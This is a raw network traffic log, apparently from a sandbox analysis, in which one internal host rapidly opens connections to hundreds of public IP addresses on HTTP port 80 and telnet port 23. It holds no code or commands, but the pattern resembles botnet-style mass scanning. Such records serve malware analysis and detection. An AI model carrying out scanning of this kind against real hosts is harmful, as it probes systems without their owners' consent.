Dec 3, 2024 21:47:22.190682888 CET	39419	80	192.168.2.13	105.144.191.114
Dec 3, 2024 21:47:22.190696001 CET	39419	80	192.168.2.13	69.108.64.84
Dec 3, 2024 21:47:22.190701008 CET	39419	80	192.168.2.13	205.109.49.252
Dec 3, 2024 21:47:22.190707922 CET	39419	80	192.168.2.13	14.113.84.84
Dec 3, 2024 21:47:22.190713882 CET	39419	80	192.168.2.13	45.135.17.168
Dec 3, 2024 21:47:22.190723896 CET	39419	80	192.168.2.13	158.187.68.70
Dec 3, 2024 21:47:22.190728903 CET	39419	80	192.168.2.13	52.61.220.106
Dec 3, 2024 21:47:22.190742970 CET	39419	80	192.168.2.13	153.108.245.9
Dec 3, 2024 21:47:22.190745115 CET	39419	80	192.168.2.13	24.195.109.192
Dec 3, 2024 21:47:22.190762997 CET	39419	80	192.168.2.13	109.249.82.84
Dec 3, 2024 21:47:22.190764904 CET	39419	80	192.168.2.13	133.106.156.42
Dec 3, 2024 21:47:22.190766096 CET	39419	80	192.168.2.13	69.35.80.173
Dec 3, 2024 21:47:22.190773010 CET	39419	80	192.168.2.13	178.10.220.59
Dec 3, 2024 21:47:22.190788031 CET	39419	80	192.168.2.13	170.85.235.91
Dec 3, 2024 21:47:22.190793991 CET	39419	80	192.168.2.13	157.184.229.119
Dec 3, 2024 21:47:22.190795898 CET	39419	80	192.168.2.13	125.23.224.105
Dec 3, 2024 21:47:22.190809011 CET	39419	80	192.168.2.13	149.133.192.7
Dec 3, 2024 21:47:22.190814018 CET	39419	80	192.168.2.13	86.48.215.60
Dec 3, 2024 21:47:22.190814972 CET	39419	80	192.168.2.13	216.151.127.251
Dec 3, 2024 21:47:22.190824032 CET	39419	80	192.168.2.13	80.133.86.122
Dec 3, 2024 21:47:22.190826893 CET	39419	80	192.168.2.13	9.71.85.121
Dec 3, 2024 21:47:22.190844059 CET	39419	80	192.168.2.13	90.124.179.4
Dec 3, 2024 21:47:22.190844059 CET	39419	80	192.168.2.13	102.29.140.55
Dec 3, 2024 21:47:22.190857887 CET	39419	80	192.168.2.13	107.120.216.211
Dec 3, 2024 21:47:22.190860987 CET	39419	80	192.168.2.13	20.8.185.119
Dec 3, 2024 21:47:22.190872908 CET	39419	80	192.168.2.13	164.0.148.103
Dec 3, 2024 21:47:22.190879107 CET	39419	80	192.168.2.13	119.151.37.209
Dec 3, 2024 21:47:22.190896988 CET	39419	80	192.168.2.13	72.162.226.21
Dec 3, 2024 21:47:22.190901995 CET	39419	80	192.168.2.13	72.228.234.217
Dec 3, 2024 21:47:22.190902948 CET	39419	80	192.168.2.13	108.89.198.151
Dec 3, 2024 21:47:22.190902948 CET	39419	80	192.168.2.13	182.50.21.103
Dec 3, 2024 21:47:22.190908909 CET	39419	80	192.168.2.13	45.134.27.192
Dec 3, 2024 21:47:22.190912008 CET	39419	80	192.168.2.13	82.250.16.125
Dec 3, 2024 21:47:22.190927982 CET	39419	80	192.168.2.13	155.126.218.190
Dec 3, 2024 21:47:22.190931082 CET	39419	80	192.168.2.13	169.91.250.188
Dec 3, 2024 21:47:22.190937042 CET	39419	80	192.168.2.13	203.214.192.20
Dec 3, 2024 21:47:22.190948009 CET	39419	80	192.168.2.13	167.97.194.43
Dec 3, 2024 21:47:22.190952063 CET	39419	80	192.168.2.13	149.146.115.12
Dec 3, 2024 21:47:22.190963984 CET	39419	80	192.168.2.13	168.55.70.125
Dec 3, 2024 21:47:22.190967083 CET	39419	80	192.168.2.13	83.88.203.72
Dec 3, 2024 21:47:22.190979958 CET	39419	80	192.168.2.13	195.154.74.204
Dec 3, 2024 21:47:22.190985918 CET	39419	80	192.168.2.13	170.22.131.138
Dec 3, 2024 21:47:22.190992117 CET	39419	80	192.168.2.13	186.99.209.10
Dec 3, 2024 21:47:22.191006899 CET	39419	80	192.168.2.13	99.161.72.76
Dec 3, 2024 21:47:22.191010952 CET	39419	80	192.168.2.13	92.80.101.231
Dec 3, 2024 21:47:22.191025972 CET	39419	80	192.168.2.13	142.89.41.86
Dec 3, 2024 21:47:22.191028118 CET	39419	80	192.168.2.13	179.157.16.188
Dec 3, 2024 21:47:22.191034079 CET	39419	80	192.168.2.13	136.23.141.226
Dec 3, 2024 21:47:22.191040039 CET	39419	80	192.168.2.13	181.230.246.125
Dec 3, 2024 21:47:22.191052914 CET	39419	80	192.168.2.13	70.20.70.175
Dec 3, 2024 21:47:22.191062927 CET	39419	80	192.168.2.13	141.58.20.184
Dec 3, 2024 21:47:22.191076040 CET	39419	80	192.168.2.13	95.233.237.233
Dec 3, 2024 21:47:22.191081047 CET	39419	80	192.168.2.13	77.173.127.111
Dec 3, 2024 21:47:22.191087961 CET	39419	80	192.168.2.13	94.245.48.46
Dec 3, 2024 21:47:22.191090107 CET	39419	80	192.168.2.13	124.0.220.251
Dec 3, 2024 21:47:22.191108942 CET	39419	80	192.168.2.13	161.246.71.93
Dec 3, 2024 21:47:22.191109896 CET	39419	80	192.168.2.13	37.69.170.220
Dec 3, 2024 21:47:22.191111088 CET	39419	80	192.168.2.13	163.252.108.112
Dec 3, 2024 21:47:22.191112995 CET	39419	80	192.168.2.13	148.27.16.164
Dec 3, 2024 21:47:22.191119909 CET	39419	80	192.168.2.13	222.71.52.85
Dec 3, 2024 21:47:22.191137075 CET	39419	80	192.168.2.13	193.235.143.242
Dec 3, 2024 21:47:22.191142082 CET	39419	80	192.168.2.13	131.126.168.16
Dec 3, 2024 21:47:22.191153049 CET	39419	80	192.168.2.13	68.208.163.109
Dec 3, 2024 21:47:22.191153049 CET	39419	80	192.168.2.13	66.145.72.119
Dec 3, 2024 21:47:22.191165924 CET	39419	80	192.168.2.13	66.145.52.43
Dec 3, 2024 21:47:22.191168070 CET	39419	80	192.168.2.13	95.22.80.146
Dec 3, 2024 21:47:22.191170931 CET	39419	80	192.168.2.13	183.134.50.119
Dec 3, 2024 21:47:22.191184044 CET	39419	80	192.168.2.13	88.59.117.211
Dec 3, 2024 21:47:22.191190958 CET	39419	80	192.168.2.13	67.123.123.148
Dec 3, 2024 21:47:22.191204071 CET	39419	80	192.168.2.13	60.45.103.216
Dec 3, 2024 21:47:22.191205025 CET	39419	80	192.168.2.13	94.76.101.47
Dec 3, 2024 21:47:22.191220999 CET	39419	80	192.168.2.13	157.174.193.198
Dec 3, 2024 21:47:22.191222906 CET	39419	80	192.168.2.13	126.112.103.255
Dec 3, 2024 21:47:22.191235065 CET	39419	80	192.168.2.13	23.139.176.89
Dec 3, 2024 21:47:22.191240072 CET	39419	80	192.168.2.13	134.115.227.142
Dec 3, 2024 21:47:22.191241980 CET	39419	80	192.168.2.13	168.250.189.178
Dec 3, 2024 21:47:22.191243887 CET	39419	80	192.168.2.13	144.253.190.73
Dec 3, 2024 21:47:22.191261053 CET	39419	80	192.168.2.13	44.225.49.30
Dec 3, 2024 21:47:22.191267014 CET	39419	80	192.168.2.13	19.120.113.193
Dec 3, 2024 21:47:22.191272974 CET	39419	80	192.168.2.13	48.46.173.218
Dec 3, 2024 21:47:22.191274881 CET	39419	80	192.168.2.13	95.142.184.41
Dec 3, 2024 21:47:22.191288948 CET	39419	80	192.168.2.13	78.229.204.185
Dec 3, 2024 21:47:22.191294909 CET	39419	80	192.168.2.13	19.233.204.101
Dec 3, 2024 21:47:22.191302061 CET	39419	80	192.168.2.13	58.57.245.173
Dec 3, 2024 21:47:22.191322088 CET	39419	80	192.168.2.13	73.137.196.85
Dec 3, 2024 21:47:22.191322088 CET	39419	80	192.168.2.13	64.96.107.125
Dec 3, 2024 21:47:22.191327095 CET	39419	80	192.168.2.13	177.219.163.96
Dec 3, 2024 21:47:22.191332102 CET	39419	80	192.168.2.13	86.181.244.151
Dec 3, 2024 21:47:22.191339016 CET	39419	80	192.168.2.13	114.74.223.201
Dec 3, 2024 21:47:22.191350937 CET	39419	80	192.168.2.13	204.21.38.182
Dec 3, 2024 21:47:22.191354036 CET	39419	80	192.168.2.13	121.1.150.61
Dec 3, 2024 21:47:22.191378117 CET	39419	80	192.168.2.13	169.208.41.41
Dec 3, 2024 21:47:22.191379070 CET	39419	80	192.168.2.13	66.52.107.157
Dec 3, 2024 21:47:22.191382885 CET	39419	80	192.168.2.13	137.96.11.50
Dec 3, 2024 21:47:22.191389084 CET	39419	80	192.168.2.13	185.209.94.158
Dec 3, 2024 21:47:22.191394091 CET	39419	80	192.168.2.13	170.146.95.160
Dec 3, 2024 21:47:22.191404104 CET	39419	80	192.168.2.13	101.48.200.11
Dec 3, 2024 21:47:22.191406012 CET	39419	80	192.168.2.13	102.172.2.83
Dec 3, 2024 21:47:22.191417933 CET	39419	80	192.168.2.13	153.136.57.229
Dec 3, 2024 21:47:22.191431999 CET	39419	80	192.168.2.13	152.158.15.9
Dec 3, 2024 21:47:22.191431999 CET	39419	80	192.168.2.13	176.48.122.73
Dec 3, 2024 21:47:22.191437960 CET	39419	80	192.168.2.13	45.186.132.48
Dec 3, 2024 21:47:22.191448927 CET	39419	80	192.168.2.13	38.179.214.184
Dec 3, 2024 21:47:22.191454887 CET	39419	80	192.168.2.13	96.193.51.184
Dec 3, 2024 21:47:22.191469908 CET	39419	80	192.168.2.13	118.16.174.26
Dec 3, 2024 21:47:22.191487074 CET	39419	80	192.168.2.13	198.222.109.11
Dec 3, 2024 21:47:22.191487074 CET	39419	80	192.168.2.13	189.238.70.16
Dec 3, 2024 21:47:22.191497087 CET	39419	80	192.168.2.13	42.237.108.151
Dec 3, 2024 21:47:22.191502094 CET	39419	80	192.168.2.13	83.172.9.1
Dec 3, 2024 21:47:22.191502094 CET	39419	80	192.168.2.13	172.130.105.193
Dec 3, 2024 21:47:22.191515923 CET	39419	80	192.168.2.13	171.40.134.135
Dec 3, 2024 21:47:22.191519976 CET	39419	80	192.168.2.13	200.169.8.134
Dec 3, 2024 21:47:22.191533089 CET	39419	80	192.168.2.13	162.140.19.219
Dec 3, 2024 21:47:22.191536903 CET	39419	80	192.168.2.13	106.218.115.173
Dec 3, 2024 21:47:22.191550970 CET	39419	80	192.168.2.13	142.81.238.182
Dec 3, 2024 21:47:22.191565990 CET	39419	80	192.168.2.13	208.206.203.144
Dec 3, 2024 21:47:22.191569090 CET	39419	80	192.168.2.13	150.130.146.88
Dec 3, 2024 21:47:22.191581011 CET	39419	80	192.168.2.13	190.74.206.58
Dec 3, 2024 21:47:22.191581011 CET	39419	80	192.168.2.13	200.251.215.204
Dec 3, 2024 21:47:22.191582918 CET	39419	80	192.168.2.13	156.242.87.85
Dec 3, 2024 21:47:22.191589117 CET	39419	80	192.168.2.13	173.184.235.4
Dec 3, 2024 21:47:22.191602945 CET	39419	80	192.168.2.13	32.206.196.115
Dec 3, 2024 21:47:22.191603899 CET	39419	80	192.168.2.13	126.92.82.100
Dec 3, 2024 21:47:22.191620111 CET	39419	80	192.168.2.13	159.247.125.124
Dec 3, 2024 21:47:22.191625118 CET	39419	80	192.168.2.13	109.159.65.140
Dec 3, 2024 21:47:22.191632032 CET	39419	80	192.168.2.13	205.253.178.1
Dec 3, 2024 21:47:22.191634893 CET	39419	80	192.168.2.13	167.56.251.241
Dec 3, 2024 21:47:22.191649914 CET	39419	80	192.168.2.13	85.135.140.45
Dec 3, 2024 21:47:22.191654921 CET	39419	80	192.168.2.13	35.200.26.197
Dec 3, 2024 21:47:22.191654921 CET	39419	80	192.168.2.13	62.165.51.180
Dec 3, 2024 21:47:22.191664934 CET	39419	80	192.168.2.13	122.85.111.94
Dec 3, 2024 21:47:22.191672087 CET	39419	80	192.168.2.13	101.36.206.105
Dec 3, 2024 21:47:22.191682100 CET	39419	80	192.168.2.13	148.58.210.73
Dec 3, 2024 21:47:22.191684961 CET	39419	80	192.168.2.13	137.28.236.254
Dec 3, 2024 21:47:22.191685915 CET	39419	80	192.168.2.13	24.206.88.220
Dec 3, 2024 21:47:22.191699982 CET	39419	80	192.168.2.13	192.76.249.14
Dec 3, 2024 21:47:22.191699982 CET	39419	80	192.168.2.13	81.171.253.120
Dec 3, 2024 21:47:22.191711903 CET	39419	80	192.168.2.13	182.165.130.144
Dec 3, 2024 21:47:22.191716909 CET	39419	80	192.168.2.13	14.142.43.61
Dec 3, 2024 21:47:22.191726923 CET	39419	80	192.168.2.13	37.9.91.175
Dec 3, 2024 21:47:22.191728115 CET	39419	80	192.168.2.13	222.138.107.127
Dec 3, 2024 21:47:22.191740990 CET	39419	80	192.168.2.13	157.102.228.27
Dec 3, 2024 21:47:22.191746950 CET	39419	80	192.168.2.13	14.18.227.224
Dec 3, 2024 21:47:22.191759109 CET	39419	80	192.168.2.13	100.185.84.252
Dec 3, 2024 21:47:22.191761017 CET	39419	80	192.168.2.13	148.59.96.129
Dec 3, 2024 21:47:22.191761971 CET	39419	80	192.168.2.13	72.30.169.73
Dec 3, 2024 21:47:22.191776037 CET	39419	80	192.168.2.13	95.65.141.188
Dec 3, 2024 21:47:22.191776991 CET	39419	80	192.168.2.13	42.173.136.133
Dec 3, 2024 21:47:22.191776037 CET	39419	80	192.168.2.13	186.196.201.213
Dec 3, 2024 21:47:22.191791058 CET	39419	80	192.168.2.13	141.121.215.4
Dec 3, 2024 21:47:22.191792965 CET	39419	80	192.168.2.13	196.239.205.204
Dec 3, 2024 21:47:22.191807985 CET	39419	80	192.168.2.13	110.220.39.183
Dec 3, 2024 21:47:22.191807985 CET	39419	80	192.168.2.13	70.168.100.40
Dec 3, 2024 21:47:22.191823959 CET	39419	80	192.168.2.13	150.168.61.112
Dec 3, 2024 21:47:22.191832066 CET	39419	80	192.168.2.13	81.237.171.149
Dec 3, 2024 21:47:22.191843987 CET	39419	80	192.168.2.13	70.125.154.2
Dec 3, 2024 21:47:22.191847086 CET	39419	80	192.168.2.13	95.68.224.106
Dec 3, 2024 21:47:22.191854000 CET	39419	80	192.168.2.13	67.176.90.106
Dec 3, 2024 21:47:22.191869020 CET	39419	80	192.168.2.13	202.222.175.75
Dec 3, 2024 21:47:22.191869974 CET	39419	80	192.168.2.13	23.109.153.68
Dec 3, 2024 21:47:22.191884995 CET	39419	80	192.168.2.13	201.22.117.244
Dec 3, 2024 21:47:22.191886902 CET	39419	80	192.168.2.13	109.6.172.138
Dec 3, 2024 21:47:22.191889048 CET	39419	80	192.168.2.13	122.234.229.112
Dec 3, 2024 21:47:22.191899061 CET	39419	80	192.168.2.13	31.112.165.202
Dec 3, 2024 21:47:22.191901922 CET	39419	80	192.168.2.13	160.196.243.106
Dec 3, 2024 21:47:22.191922903 CET	39419	80	192.168.2.13	41.158.1.193
Dec 3, 2024 21:47:22.191922903 CET	39419	80	192.168.2.13	136.74.163.5
Dec 3, 2024 21:47:22.191937923 CET	39419	80	192.168.2.13	119.223.195.225
Dec 3, 2024 21:47:22.191941023 CET	39419	80	192.168.2.13	106.150.172.122
Dec 3, 2024 21:47:22.191948891 CET	39419	80	192.168.2.13	81.136.174.94
Dec 3, 2024 21:47:22.191951036 CET	39419	80	192.168.2.13	112.96.204.195
Dec 3, 2024 21:47:22.191971064 CET	39419	80	192.168.2.13	223.160.88.206
Dec 3, 2024 21:47:22.191972017 CET	39419	80	192.168.2.13	121.139.8.211
Dec 3, 2024 21:47:22.191987038 CET	39419	80	192.168.2.13	109.161.238.69
Dec 3, 2024 21:47:22.191988945 CET	39419	80	192.168.2.13	103.173.4.43
Dec 3, 2024 21:47:22.191998959 CET	39419	80	192.168.2.13	112.226.213.230
Dec 3, 2024 21:47:22.192006111 CET	39419	80	192.168.2.13	61.242.41.231
Dec 3, 2024 21:47:22.192015886 CET	39419	80	192.168.2.13	186.52.92.169
Dec 3, 2024 21:47:22.192018032 CET	39419	80	192.168.2.13	50.187.162.48
Dec 3, 2024 21:47:22.192023993 CET	39419	80	192.168.2.13	91.3.217.4
Dec 3, 2024 21:47:22.192034006 CET	39419	80	192.168.2.13	78.162.109.41
Dec 3, 2024 21:47:22.192035913 CET	39419	80	192.168.2.13	138.56.186.233
Dec 3, 2024 21:47:22.192050934 CET	39419	80	192.168.2.13	219.81.191.62
Dec 3, 2024 21:47:22.192054033 CET	39419	80	192.168.2.13	194.2.229.138
Dec 3, 2024 21:47:22.192069054 CET	39419	80	192.168.2.13	100.230.81.19
Dec 3, 2024 21:47:22.192073107 CET	39419	80	192.168.2.13	212.213.109.238
Dec 3, 2024 21:47:22.192086935 CET	39419	80	192.168.2.13	191.168.88.95
Dec 3, 2024 21:47:22.192096949 CET	39419	80	192.168.2.13	25.76.4.54
Dec 3, 2024 21:47:22.192099094 CET	39419	80	192.168.2.13	66.74.146.125
Dec 3, 2024 21:47:22.192106009 CET	39419	80	192.168.2.13	97.163.81.110
Dec 3, 2024 21:47:22.192116022 CET	39419	80	192.168.2.13	165.156.254.206
Dec 3, 2024 21:47:22.192132950 CET	39419	80	192.168.2.13	93.187.99.93
Dec 3, 2024 21:47:22.192132950 CET	39419	80	192.168.2.13	220.254.46.206
Dec 3, 2024 21:47:22.192135096 CET	39419	80	192.168.2.13	40.148.155.98
Dec 3, 2024 21:47:22.192148924 CET	39419	80	192.168.2.13	86.25.1.85
Dec 3, 2024 21:47:22.192148924 CET	39419	80	192.168.2.13	218.106.5.218
Dec 3, 2024 21:47:22.192152977 CET	39419	80	192.168.2.13	108.103.9.109
Dec 3, 2024 21:47:22.192166090 CET	39419	80	192.168.2.13	118.211.88.26
Dec 3, 2024 21:47:22.192167044 CET	39419	80	192.168.2.13	151.127.7.244
Dec 3, 2024 21:47:22.192176104 CET	39419	80	192.168.2.13	204.115.82.252
Dec 3, 2024 21:47:22.192178965 CET	39419	80	192.168.2.13	111.217.86.123
Dec 3, 2024 21:47:22.192188978 CET	39419	80	192.168.2.13	172.230.221.21
Dec 3, 2024 21:47:22.192192078 CET	39419	80	192.168.2.13	157.23.68.52
Dec 3, 2024 21:47:22.192209005 CET	39419	80	192.168.2.13	135.118.17.9
Dec 3, 2024 21:47:22.192210913 CET	39419	80	192.168.2.13	53.113.18.69
Dec 3, 2024 21:47:22.192214012 CET	39419	80	192.168.2.13	155.148.164.96
Dec 3, 2024 21:47:22.192220926 CET	39419	80	192.168.2.13	121.172.26.20
Dec 3, 2024 21:47:22.192224026 CET	39419	80	192.168.2.13	150.131.74.168
Dec 3, 2024 21:47:22.192235947 CET	39419	80	192.168.2.13	140.234.24.21
Dec 3, 2024 21:47:22.192238092 CET	39419	80	192.168.2.13	123.214.176.115
Dec 3, 2024 21:47:22.192250967 CET	39419	80	192.168.2.13	222.7.53.114
Dec 3, 2024 21:47:22.192253113 CET	39419	80	192.168.2.13	150.64.146.221
Dec 3, 2024 21:47:22.192266941 CET	39419	80	192.168.2.13	114.72.87.208
Dec 3, 2024 21:47:22.192277908 CET	39419	80	192.168.2.13	85.103.147.109
Dec 3, 2024 21:47:22.192286015 CET	39419	80	192.168.2.13	114.214.48.155
Dec 3, 2024 21:47:22.192293882 CET	39419	80	192.168.2.13	191.40.19.37
Dec 3, 2024 21:47:22.192301035 CET	39419	80	192.168.2.13	94.241.56.82
Dec 3, 2024 21:47:22.192308903 CET	39419	80	192.168.2.13	98.187.141.95
Dec 3, 2024 21:47:22.192321062 CET	39419	80	192.168.2.13	168.128.158.180
Dec 3, 2024 21:47:22.192332983 CET	39419	80	192.168.2.13	1.24.163.180
Dec 3, 2024 21:47:22.192337036 CET	39419	80	192.168.2.13	74.179.227.220
Dec 3, 2024 21:47:22.192342997 CET	39419	80	192.168.2.13	82.75.70.77
Dec 3, 2024 21:47:22.192358017 CET	39419	80	192.168.2.13	103.189.31.186
Dec 3, 2024 21:47:22.192363977 CET	39419	80	192.168.2.13	40.113.126.109
Dec 3, 2024 21:47:22.192374945 CET	39419	80	192.168.2.13	220.18.109.104
Dec 3, 2024 21:47:22.192461014 CET	50012	80	192.168.2.13	14.244.19.249
Dec 3, 2024 21:47:22.192481041 CET	50012	80	192.168.2.13	14.244.19.249
Dec 3, 2024 21:47:22.193003893 CET	50434	80	192.168.2.13	14.244.19.249
Dec 3, 2024 21:47:22.193381071 CET	49640	80	192.168.2.13	217.9.92.75
Dec 3, 2024 21:47:22.193391085 CET	49640	80	192.168.2.13	217.9.92.75
Dec 3, 2024 21:47:22.193666935 CET	50048	80	192.168.2.13	217.9.92.75
Dec 3, 2024 21:47:22.194029093 CET	58998	80	192.168.2.13	206.17.226.29
Dec 3, 2024 21:47:22.194029093 CET	58998	80	192.168.2.13	206.17.226.29
Dec 3, 2024 21:47:22.194292068 CET	59400	80	192.168.2.13	206.17.226.29
Dec 3, 2024 21:47:22.194633007 CET	38200	80	192.168.2.13	87.2.29.201
Dec 3, 2024 21:47:22.194648027 CET	38200	80	192.168.2.13	87.2.29.201
Dec 3, 2024 21:47:22.194921017 CET	38602	80	192.168.2.13	87.2.29.201
Dec 3, 2024 21:47:22.195256948 CET	40994	80	192.168.2.13	187.198.156.166
Dec 3, 2024 21:47:22.195266962 CET	40994	80	192.168.2.13	187.198.156.166
Dec 3, 2024 21:47:22.195554018 CET	41396	80	192.168.2.13	187.198.156.166
Dec 3, 2024 21:47:22.195897102 CET	51636	80	192.168.2.13	151.199.164.101
Dec 3, 2024 21:47:22.195897102 CET	51636	80	192.168.2.13	151.199.164.101
Dec 3, 2024 21:47:22.196177006 CET	52038	80	192.168.2.13	151.199.164.101
Dec 3, 2024 21:47:22.196532011 CET	43924	80	192.168.2.13	165.66.103.50
Dec 3, 2024 21:47:22.196548939 CET	43924	80	192.168.2.13	165.66.103.50
Dec 3, 2024 21:47:22.196594000 CET	34484	80	192.168.2.13	98.184.32.108
Dec 3, 2024 21:47:22.196595907 CET	53870	80	192.168.2.13	94.17.52.87
Dec 3, 2024 21:47:22.196609974 CET	38856	80	192.168.2.13	34.26.128.234
Dec 3, 2024 21:47:22.196610928 CET	41948	80	192.168.2.13	47.191.172.4
Dec 3, 2024 21:47:22.196613073 CET	45436	80	192.168.2.13	198.145.246.234
Dec 3, 2024 21:47:22.196614981 CET	50372	80	192.168.2.13	221.101.135.2
Dec 3, 2024 21:47:22.196624994 CET	35620	80	192.168.2.13	77.236.95.251
Dec 3, 2024 21:47:22.196630955 CET	59988	80	192.168.2.13	49.166.162.43
Dec 3, 2024 21:47:22.196630955 CET	58104	80	192.168.2.13	112.98.164.182
Dec 3, 2024 21:47:22.196635008 CET	43152	80	192.168.2.13	158.208.19.55
Dec 3, 2024 21:47:22.196635962 CET	54764	80	192.168.2.13	110.159.128.181
Dec 3, 2024 21:47:22.196639061 CET	47008	80	192.168.2.13	37.33.29.201
Dec 3, 2024 21:47:22.196644068 CET	39938	80	192.168.2.13	163.219.199.68
Dec 3, 2024 21:47:22.196650028 CET	56570	80	192.168.2.13	107.168.161.112
Dec 3, 2024 21:47:22.196651936 CET	52238	80	192.168.2.13	172.164.246.48
Dec 3, 2024 21:47:22.196655035 CET	41370	80	192.168.2.13	20.156.141.133
Dec 3, 2024 21:47:22.196660995 CET	55316	80	192.168.2.13	103.231.141.13
Dec 3, 2024 21:47:22.196665049 CET	47050	80	192.168.2.13	57.82.148.22
Dec 3, 2024 21:47:22.196672916 CET	36506	80	192.168.2.13	89.36.101.40
Dec 3, 2024 21:47:22.196674109 CET	34694	80	192.168.2.13	4.254.108.72
Dec 3, 2024 21:47:22.196680069 CET	33062	80	192.168.2.13	75.37.8.14
Dec 3, 2024 21:47:22.196682930 CET	37400	80	192.168.2.13	59.135.235.143
Dec 3, 2024 21:47:22.196865082 CET	44326	80	192.168.2.13	165.66.103.50
Dec 3, 2024 21:47:22.196976900 CET	23	40955	71.224.250.219	192.168.2.13
Dec 3, 2024 21:47:22.197006941 CET	23	40955	148.8.165.54	192.168.2.13
Dec 3, 2024 21:47:22.197020054 CET	40955	23	192.168.2.13	71.224.250.219
Dec 3, 2024 21:47:22.197036028 CET	40955	23	192.168.2.13	148.8.165.54
Dec 3, 2024 21:47:22.197038889 CET	23	40955	122.63.57.60	192.168.2.13
Dec 3, 2024 21:47:22.197082043 CET	23	40955	156.161.176.194	192.168.2.13
Dec 3, 2024 21:47:22.197098970 CET	40955	23	192.168.2.13	122.63.57.60
Dec 3, 2024 21:47:22.197104931 CET	23	40955	90.142.218.151	192.168.2.13
Dec 3, 2024 21:47:22.197114944 CET	23	40955	123.81.77.115	192.168.2.13
Dec 3, 2024 21:47:22.197117090 CET	40955	23	192.168.2.13	156.161.176.194
Dec 3, 2024 21:47:22.197140932 CET	23	40955	203.85.193.185	192.168.2.13
Dec 3, 2024 21:47:22.197148085 CET	40955	23	192.168.2.13	90.142.218.151
Dec 3, 2024 21:47:22.197149992 CET	40955	23	192.168.2.13	123.81.77.115
Dec 3, 2024 21:47:22.197153091 CET	23	40955	108.18.237.95	192.168.2.13
Dec 3, 2024 21:47:22.197173119 CET	40955	23	192.168.2.13	203.85.193.185
Dec 3, 2024 21:47:22.197175026 CET	23	40955	17.144.221.90	192.168.2.13
Dec 3, 2024 21:47:22.197175980 CET	40955	23	192.168.2.13	108.18.237.95
Dec 3, 2024 21:47:22.197208881 CET	40955	23	192.168.2.13	17.144.221.90
Dec 3, 2024 21:47:22.197228909 CET	23	40955	13.89.180.59	192.168.2.13
Dec 3, 2024 21:47:22.197241068 CET	23	40955	98.183.85.28	192.168.2.13
Dec 3, 2024 21:47:22.197259903 CET	36782	80	192.168.2.13	49.175.230.209
Dec 3, 2024 21:47:22.197262049 CET	23	40955	77.174.65.67	192.168.2.13
Dec 3, 2024 21:47:22.197271109 CET	40955	23	192.168.2.13	13.89.180.59
Dec 3, 2024 21:47:22.197278023 CET	40955	23	192.168.2.13	98.183.85.28
Dec 3, 2024 21:47:22.197278976 CET	36782	80	192.168.2.13	49.175.230.209
Dec 3, 2024 21:47:22.197293997 CET	40955	23	192.168.2.13	77.174.65.67
Dec 3, 2024 21:47:22.197304964 CET	23	40955	157.45.117.202	192.168.2.13
Dec 3, 2024 21:47:22.197314978 CET	23	40955	190.114.39.15	192.168.2.13
Dec 3, 2024 21:47:22.197336912 CET	23	40955	113.7.157.248	192.168.2.13
Dec 3, 2024 21:47:22.197341919 CET	40955	23	192.168.2.13	157.45.117.202
Dec 3, 2024 21:47:22.197343111 CET	40955	23	192.168.2.13	190.114.39.15
Dec 3, 2024 21:47:22.197371006 CET	40955	23	192.168.2.13	113.7.157.248
Dec 3, 2024 21:47:22.197376013 CET	23	40955	52.2.153.85	192.168.2.13
Dec 3, 2024 21:47:22.197400093 CET	23	40955	37.228.217.64	192.168.2.13
Dec 3, 2024 21:47:22.197413921 CET	40955	23	192.168.2.13	52.2.153.85
Dec 3, 2024 21:47:22.197416067 CET	23	40955	79.176.234.5	192.168.2.13
Dec 3, 2024 21:47:22.197438002 CET	40955	23	192.168.2.13	37.228.217.64
Dec 3, 2024 21:47:22.197458982 CET	40955	23	192.168.2.13	79.176.234.5
Dec 3, 2024 21:47:22.197500944 CET	23	40955	129.16.212.225	192.168.2.13
Dec 3, 2024 21:47:22.197521925 CET	23	40955	144.144.185.255	192.168.2.13
Dec 3, 2024 21:47:22.197555065 CET	40955	23	192.168.2.13	129.16.212.225
Dec 3, 2024 21:47:22.197561979 CET	40955	23	192.168.2.13	144.144.185.255
Dec 3, 2024 21:47:22.197608948 CET	37184	80	192.168.2.13	49.175.230.209
Dec 3, 2024 21:47:22.197945118 CET	46660	80	192.168.2.13	167.129.209.249
Dec 3, 2024 21:47:22.197956085 CET	46660	80	192.168.2.13	167.129.209.249
Dec 3, 2024 21:47:22.198108912 CET	23	40955	220.211.251.49	192.168.2.13
Dec 3, 2024 21:47:22.198134899 CET	23	40955	106.232.232.247	192.168.2.13
Dec 3, 2024 21:47:22.198148966 CET	23	40955	14.100.79.120	192.168.2.13
Dec 3, 2024 21:47:22.198156118 CET	40955	23	192.168.2.13	220.211.251.49
Dec 3, 2024 21:47:22.198167086 CET	40955	23	192.168.2.13	106.232.232.247
Dec 3, 2024 21:47:22.198184967 CET	40955	23	192.168.2.13	14.100.79.120
Dec 3, 2024 21:47:22.198195934 CET	23	40955	155.63.247.176	192.168.2.13
Dec 3, 2024 21:47:22.198211908 CET	23	40955	164.149.180.219	192.168.2.13
Dec 3, 2024 21:47:22.198231936 CET	40955	23	192.168.2.13	155.63.247.176
Dec 3, 2024 21:47:22.198235989 CET	23	40955	202.75.144.168	192.168.2.13
Dec 3, 2024 21:47:22.198247910 CET	47062	80	192.168.2.13	167.129.209.249
Dec 3, 2024 21:47:22.198247910 CET	40955	23	192.168.2.13	164.149.180.219
Dec 3, 2024 21:47:22.198260069 CET	23	40955	158.197.67.124	192.168.2.13
Dec 3, 2024 21:47:22.198263884 CET	40955	23	192.168.2.13	202.75.144.168
Dec 3, 2024 21:47:22.198287964 CET	23	40955	50.186.0.162	192.168.2.13
Dec 3, 2024 21:47:22.198299885 CET	40955	23	192.168.2.13	158.197.67.124
Dec 3, 2024 21:47:22.198311090 CET	23	40955	31.246.182.137	192.168.2.13
Dec 3, 2024 21:47:22.198324919 CET	40955	23	192.168.2.13	50.186.0.162
Dec 3, 2024 21:47:22.198328972 CET	23	40955	114.31.97.188	192.168.2.13
Dec 3, 2024 21:47:22.198344946 CET	23	40955	96.130.239.208	192.168.2.13
Dec 3, 2024 21:47:22.198352098 CET	40955	23	192.168.2.13	31.246.182.137
Dec 3, 2024 21:47:22.198365927 CET	40955	23	192.168.2.13	114.31.97.188
Dec 3, 2024 21:47:22.198384047 CET	23	40955	198.67.245.87	192.168.2.13
Dec 3, 2024 21:47:22.198386908 CET	40955	23	192.168.2.13	96.130.239.208
Dec 3, 2024 21:47:22.198400021 CET	23	40955	80.57.59.152	192.168.2.13
Dec 3, 2024 21:47:22.198412895 CET	23	40955	159.211.57.212	192.168.2.13
Dec 3, 2024 21:47:22.198419094 CET	40955	23	192.168.2.13	198.67.245.87
